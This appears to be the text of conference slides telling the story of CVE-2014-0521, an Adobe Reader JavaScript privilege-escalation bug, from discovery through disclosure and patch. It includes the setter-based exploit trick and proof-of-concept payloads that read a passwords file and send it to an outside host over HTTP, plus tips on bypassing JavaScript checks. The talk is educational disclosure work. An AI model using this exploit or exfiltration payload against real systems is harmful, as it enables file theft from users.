The life of an Adobe Reader JavaScript bug Gábor Molnár / @molnar_g

Me -2013 work at various companies, mainly JavaScript 2013- work at Ukatemi (CrySyS spin-off), malware related stuff CTF competitions with the !SpamAndHex team Participating in bug bounty programs

This talk - CVE-2014-0521 Fixed in Adobe Reader version 11.0.07 on May 13, 2014 Adobe Security Bulletin APSB14-15 JS → Adobe Reader JS → discovery → exploit → reporting → fix

A related talk by me Ethical Hacking Conference 2014 Hungary Hungarian, JS bugs in general, Firefox and Adobe Reader example, no code release

JavaScript basics - functions function f1(a) { // Function statement with name return a*2; } var f2 = function(a) { // Function expression assigned to variable return a*100 }; var f3 = f1; // Function references, first class functions console.log(f1(1)); // 2 console.log(f2(2)); // 200 console.log(f3(3)); // 6

JavaScript basics - objects, methods var o = { a: 1, b: [1,2,3,4] }; o.a = 42; o.f = function(p) { console.log('"this.a" is: ' + this.a + ', parameter is:' + p); }; o.f(1); // "this.a" is 42, parameter is 1 this is just a hidden parameter: o.f.call({ a: 0 }, 2); // "this.a" is 0, parameter is 2 is just a hidden parameter:

JavaScript basics - properties var o = { a: 1 }; o.__defineGetter__('b', function() { // Non-standard only API return this.a * 2; }); o.__defineSetter__('b', function(value) { // Non-standard only API this.a = value / 2; }); console.log(o.a, o.b); // 1, 2 o.a = 10; console.log(o.a, o.b); // 10, 20 o.b = 1000; console.log(o.a, o.b); // 500, 1000

Adobe Reader = good PDF reader

Adobe Reader + JS = great PDF reader

Architecture

Privileged and Trusted Utility scripts, JS API implementations, signed PDFs need: File IO, HTTP (form submission), etc. Privileged API: only Trusted functions can call it.

Gaining Trusted status, example Init script: app.apiFunction = app.trustedFunction(function(cb_object, cb_name, param) { app.beginPriv(); // Do privileged stuff cb_object[cb_name](param); app.endPriv(); }); function f() { app.beginPriv(); // Do privileged operations app.endPriv(); } app.apiFunction(app, 'trustedFunction', f); f(); Exploit PDF:

Let's review the init code! Stored in a binary file: JSByteCodeWin.bin $ file JSByteCodeWin.bin JSByteCodeWin.bin: data $ od -t x1 JSByteCodeWin.bin | head -n 1 0000000 07 00 ad de ff 1f 00 00 57 00 00 00 b4 00 00 00 $ od -t x4 JSByteCodeWin.bin | head -n 1 0000000 dead0007 00001fff 00000057 000000b4 $ strings EScript.api | grep JavaScript # Adobe Reader Linux version 9.5.5 ... JavaScript-C 1.8.0 pre-release 1 2009-02-16 ... SpiderMonkey 1.8 XDR bytecode format! (Firefox 3.0)

Decompiling the bytecode Need to build SpiderMonkey 1.8 - painful! I've published the tool (source and binary) on GitHub: molnarg/dead0007 > 22000 lines of JavaScript (prettified)!

JS console Save this in Reader 11.0/Reader/Javascripts as .js app.addMenuItem({ cName:"Console Window", cParent:"View", cExec:"console.show()" });

Hunting bugs! DynamicAnnotStore = app.trustedFunction(function (doc, user, settings) { this.doc = doc; this.user = user; // ... }); var store = new DynamicAnnotStore(doc, { name: 'MG', ... }, { ... }); How to make this call a function for us?

Property trick app.__defineSetter__('doc', app.beginPriv); app.__defineSetter__('user', app.trustedFunction); DynamicAnnotStore.call(/*this=*/app, /*doc=*/null, /*user=*/f); Original code, and what actually happens: this.doc = doc -> app.beginPriv(null) this.user = user -> app.trustedFunction(f) Problem: cannot override property doc on the app object!

Property trick v2 var t = {}; t.__defineSetter__('doc', app.beginPriv); t.__defineSetter__('user', app.trustedFunction); t.__proto__ = app; DynamicAnnotStore.call(/*this=*/t, /*doc=*/null, /*user=*/f); Original code, and what actually happens: this.doc = doc -> app.beginPriv.call(t, null) this.user = user -> app.trustedFunction.call(t, f) Works!

Payload Print file contents (cve-2014-0521-poc-1.pdf): function f() { app.beginPriv(); var file = '/c/notes/passwords.txt'; var secret = util.stringFromStream(util.readFileIntoStream(file, false)); app.alert(secret); app.endPriv(); } Send file contents over HTTP (cve-2014-0521-poc-2.pdf): function f() { app.beginPriv(); var file = '/c/notes/passwords.txt'; var secret = util.stringFromStream(util.readFileIntoStream(file, true)); var url = 'http://192.168.56.1:9999/' + Math.ceil(Math.random()*10000) + '__________' + secret; Collab.uriCreateFolder(url); app.endPriv(); }

DEMO

Reporting the bug We've reported the bug on March 10, 2014, got almost immediate response. (Thanks @boldi!)

The fix The fix was released on May 13, 2014. Probably: forbid calling app.trustedFunction() from property getter/setter. TODO: reverse engineer the patch.

Tips for JS hacking Property accesses are function calls. Lot of checks can be bypassed: if (a == 'x' && a == 'y' && a == 'z') { // ... Time of check to time of use (TOCTTOU): if (a.x === 'console.log("Hello World");') eval(a.x); Built-in objects, classes are modifiable: Math.random = function() { return 1; }; RegExp.prototype.test = function() { return true; }; JavaScript Proxies are very powerful (not usable in Reader).

Bonus tip 1. Find a JS privilege escalation bug like this one. 2. Find bugs in privileged functions by fuzzing. Probably easier than finding bugs in unprivileged functions that have been fuzzed for a long time now.